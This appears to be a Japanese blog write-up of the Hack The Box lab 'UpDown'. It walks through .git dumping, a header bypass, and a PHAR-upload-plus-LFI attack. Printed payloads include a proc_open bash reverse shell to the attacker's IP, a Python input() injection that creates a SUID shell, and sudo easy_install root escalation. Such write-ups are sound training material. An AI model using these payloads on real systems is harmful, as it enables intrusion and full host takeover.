Ch4n24n のアイコン

Ch4n24n

HTB Lab - UpDown (Linux / Medium)

2026/11/11 公開約16分Writeups

HTBLinuxLFIPHPPHP_WrapperFile_UploadRCEGitSUIDPrivilege_Escalation

概要

  1. 開いている 80 で siteisup.htb がホスト。 また、vhost dev を見つけたが、ステータスコード 403 により、アクセス不可
  2. http://siteisup.htb/dev/.git を dump ・ 解析することで、vhost dev にアクセスするために必要なヘッダーが判明
  3. dev で、ファイルアップロードを利用したRCEを実行し、www-data シェルを取得
  4. SUID が設定された siteisup スクリプトを利用し、 developer シェルを取得
  5. SUDO権限が設定された easy_install を利用し、root シェルを取得

対象環境

項目値
問題UpDown
難易度Medium
OSLinux
IP10.129.19.83
攻撃者IP10.10.14.248

攻撃フロー

1. 偵察

rustscan で全ポートを確認。開いているのは 22 / 80

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.19.83:22
Open 10.129.19.83:80
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?

siteisup.htb を /etc/hosts に足す

Ch4n24n@htb[/htb]$ echo $TARGET siteisup.htb | sudo tee -a /etc/hosts
10.129.19.83 siteisup.htb

2. vhost dev と .git の列挙

vhost 列挙で dev だけ既定サイズから外れる。 ただし、ステータスコードが 403 のため、dev に直接アクセスはできない

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://$TARGET/ -H "Host: FUZZ.siteisup.htb" -t 100 -c -ic -fs 1131
dev                     [Status: 403, Size: 281, Words: 20, Lines: 10]

/dev/ 配下に .git がある

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt:FUZZ -u "http://siteisup.htb/dev//FUZZ" -c -ic -r -t 100 -e .php
.git/config             [Status: 200, Size: 298]
.git/HEAD               [Status: 200, Size: 21]
.git                    [Status: 200, Size: 2884]

git-dumper で中身をダンプ

Ch4n24n@htb[/htb]$ git-dumper http://siteisup.htb/dev/.git git-dumper
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching .git recursively
[-] Running git checkout .
Updated 6 paths from the index

3. リポジトリの解析

.htaccess

Special-Dev: only4dev をヘッダーにつけることで、変数 Required-Header が定義されるらしい
また、変数 Required-Header が定義されているとき、 アクセスが可能になることがわかる

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

index.php

Admin Panel では、?page= を include する

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

checker.php

ファイルアップロード機能があり、アップロードされたファイルは、/uploads/[md5]/ に配置される
また、アップロード可能な拡張子は、/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/ 以外であることがわかる

...SNIP...
	# File size must be less than 10kb.
	if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
	$file = $_FILES['file']['name'];
	
	# Check if extension is allowed.
	$ext = getExtension($file);
	if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
		die("Extension not allowed!");
	}
  
	# Create directory to upload our file.
	$dir = "uploads/".md5(time())."/";
	if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
	$final_path = $dir.$file;
	move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
...SNIP...

以上により、以下のことが推測できる

  1. このリポジトリは、おそらく dev.siteisup.htb であり、列挙の際に 403 が出たのは、ヘッダーに Special-Dev: only4dev が無かったから
  2. 任意のPHPの実行によるRCEが可能そう

4. dev の列挙

ヘッダ Special-Dev: only4dev を付けると dev.siteisup.htb が開き、uploads が見える。 (推測は正しそう…)

Ch4n24n@htb[/htb]$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u "http://dev.siteisup.htb/FUZZ" -c -ic -r -t 100 -e .php -H 'special-dev: only4dev'
index.php               [Status: 200, Size: 1220]
uploads                 [Status: 200, Size: 747]
admin.php               [Status: 200, Size: 0]
checker.php             [Status: 500, Size: 0]

5. phar で RCE

checker.php でPharファイルをアップロードし、RCEを実行する

(1)使用可能なPHP関数を確認

Phar に入れる PHP ファイルで使用可能な関数を確認するために、 phpinfo を実行する

# shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Ch4n24n@htb[/htb]$ php --define phar.readonly=0 shell.php
Ch4n24n@htb[/htb]$ mv shell.phar shell.jpg

上記のコマンドで作成された shell.jpg を アップロード後にアップロードファイルを開くと、関数の拒否リストを閲覧できる
http://dev.siteisup.htb/?page=phar://uploads/[md5]/shell.jpg/shell (抜粋)

disable_functions に system / exec / shell_exec / popen / passthru / fsockopen があるが、 proc_open は無いことがわかる

(2)リバースシェルを取得

shell.php を proc_open を使ったリバースシェルに差し替え、同様の手順でアップロードする

# shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php $d=[0=>["pipe","r"], 1=>["pipe","w"], 2=>["pipe","w"]];$p=proc_open(\'setsid /bin/bash -c "bash -i >& /dev/tcp/10.10.14.248/8200 0>&1" >/dev/null 2>&1 &\', $d, $pipes); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
 
$phar->stopBuffering();

http://dev.siteisup.htb/?page=phar://uploads/[md5]/shell.jpg/shell にアクセスすると www-data のシェルを取得できる

Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.19.83 60616
 
# アカウントを確認
www-data@updown:/var/www/dev$ whoami
www-data
 
# TTYの取得
www-data@updown:/var/www/dev$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$

TTYの取得は必ず実施すること。コマンドの実行が安定しないため

6. developer

/home/developer/dev/ に SUID バイナリがある

$ ls -arlt /home/developer/dev/
-rwxr-x--- 1 developer www-data    154 Jun 22  2022 siteisup_test.py
-rwsr-x--- 1 developer www-data  16928 Jun 22  2022 siteisup

試しに、コマンドを実行してみると、URLの入力を求められる。 http://google.com を入力すると、構文エラーが発生する
問題ない入力でエラーになるため、入力文が文字列として解釈されていない可能性がある

$ ./siteisup
Enter URL here:http://google.com
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://google.com
        ^
SyntaxError: invalid syntax

TTYを取得していないと、そもそも実行できない可能性がある -> python3 -c 'import pty; pty.spawn("/bin/sh")'

コマンドインジェクションで使うスクリプト(__import__('os').system('ls'))を入力してみた結果、コマンドのエラーコード(0)が返却された
このことにより、コマンドが実行されていることがわかる

$ ./siteisup
Enter URL here:__import__('os').system('ls')
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?

SUID の ./siteisup は developer で実行されるので、developer で起動するシェルバイナリを作成する

$ ./siteisup
Enter URL here: __import__('os').system('cp /bin/sh /tmp && chmod u+s /tmp/sh')
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?

developer に入り、 SSH秘密鍵をダウンロードすることで、SSHシェルを取得する

$ /tmp/sh -p
 
$ whoami
developer
 
$ ls -lart /home/developer/.ssh/id_rsa
-rw------- 1 developer developer 2602 Aug  2  2022 /home/developer/.ssh/id_rsa

7. SUDO権限を利用したrootの取得

easy_install をルート権限で実行可能

developer@updown:~$ sudo -l
User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install

https://gtfobins.org/gtfobins/easy_install/ を参考に、権限昇格

developer@updown:~$ echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
developer@updown:~$ sudo easy_install .
 
# whoami
root

参考

おわりに

  • これは難しい… つまずきそうなポイントが複数個ありました
    1. .git の列挙漏れ
    2. ファイルアップロードとPharラッパーを使ったRCE
    3. ./siteisup のコマンドインジェクション
  • 3以外は教科書通りという感じがしますが、慣れていないうちは考慮漏れしそうな内容です💦
  • 2については、ファイルアップロード + LFI = pharラッパーでRCE っていうのが Linux のお約束なので、丸暗記でもいいかな?って思います!
次に読む
© 2026 Ch4n24n